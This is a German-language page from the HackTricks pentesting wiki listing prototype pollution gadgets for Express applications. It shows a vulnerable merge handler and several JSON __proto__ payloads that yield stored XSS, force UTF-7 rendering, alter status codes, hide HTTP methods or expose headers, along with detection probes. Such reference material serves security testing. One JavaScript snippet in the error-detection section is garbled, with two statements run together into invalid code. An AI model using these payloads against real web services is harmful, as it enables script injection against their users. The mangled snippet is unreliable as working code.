Express Prototype Pollution Gadgets

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

XSS-Antworten bereitstellen

Für weitere Details sehen Sie sich die ursprüngliche Forschung an

Ändern Sie den JSON-Inhaltstyp in HTML

In einer Express-App, die eine JSON-Inhaltstyp-Antwort verwendet und ein JSON widerspiegelt:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

In diesen Fällen ist XSS normalerweise nicht mit einem JSON-Inhaltstyp möglich. Mit Prototype Pollution können wir jedoch Express verwirren, um eine HTML-Antwort bereitzustellen. Diese Schwachstelle beruht darauf, dass die Anwendung res.send(obj) verwendet und den Body-Parser mit dem Inhaltstyp application/json nutzt.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

Durch das Verschmutzen der body und _body Eigenschaften ist es möglich, Express dazu zu bringen, den HTML-Inhaltstyp bereitzustellen und die _body-Eigenschaft widerzuspiegeln, was zu gespeichertem XSS führt.

UTF7 rendern

Es ist möglich, dass Express UTF-7-Inhalte rendert mit:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Sichere Scanning-Techniken

JSON-Räume

Die folgende PP wird Attribute innerhalb eines JSON einen zusätzlichen Raum geben, der die Funktionalität nicht beeinträchtigt:

json
{ "__proto__": { "json spaces": " " } }

Dann sieht ein reflektiertes JSON so aus:

json
{"foo":  "bar"} -- Note the extra space

Exposed Headers

Das folgende PP-Gadget wird den Server dazu bringen, den HTTP-Header zurückzusenden: Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

Es erfordert, dass das CORS-Modul installiert ist.

OPTIONS-Methode

Mit dem folgenden Payload ist es möglich, eine Methode aus einer OPTIONS-Antwort zu verbergen:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Es ist möglich, den zurückgegebenen Statuscode mit dem folgenden PP-Payload zu ändern:

json
{ "__proto__": { "status": 510 } }

Fehler

Wenn Sie einem Prototypen mit einem primitiven Wert wie einem String zuweisen, führt dies zu einer no-op-Operation, da der Prototyp ein Objekt sein muss. Wenn Sie versuchen, ein Prototypobjekt dem Object.prototype selbst zuzuweisen, wird dies eine Ausnahme auslösen. Wir können diese beiden Verhaltensweisen nutzen, um festzustellen, ob die Prototypverschmutzung erfolgreich war:

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Reflektierter Wert

Wenn eine Anwendung ein Objekt in ihrer Antwort einfügt, kann das Erstellen eines Attributs mit einem ungewöhnlichen Namen neben __proto__ aufschlussreich sein. Insbesondere wenn nur das ungewöhnliche Attribut in der Antwort zurückgegeben wird, könnte dies auf die Verwundbarkeit der Anwendung hinweisen:

json
{ "unusualName": "value", "__proto__": "test" }

Darüber hinaus bietet in Szenarien, in denen eine Bibliothek wie Lodash verwendet wird, das Setzen einer Eigenschaft sowohl über Prototype Pollution (PP) als auch direkt im Objekt einen weiteren diagnostischen Ansatz. Wenn eine solche Eigenschaft in der Antwort weggelassen wird, deutet dies darauf hin, dass Lodash die Existenz der Eigenschaft im Zielobjekt überprüft, bevor es zusammenführt:

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Sonstiges

Punkte erlauben

Es gibt eine Option in Express, die es Ihnen ermöglicht, Objekte aus Abfragezeichenfolgenparametern zu erstellen.
Sie könnten es definitiv in einer Fehler-kette verwenden, um eine Prototype Pollution-Sicherheitsanfälligkeit auszunutzen.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz erstellt ein Objekt in Node.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks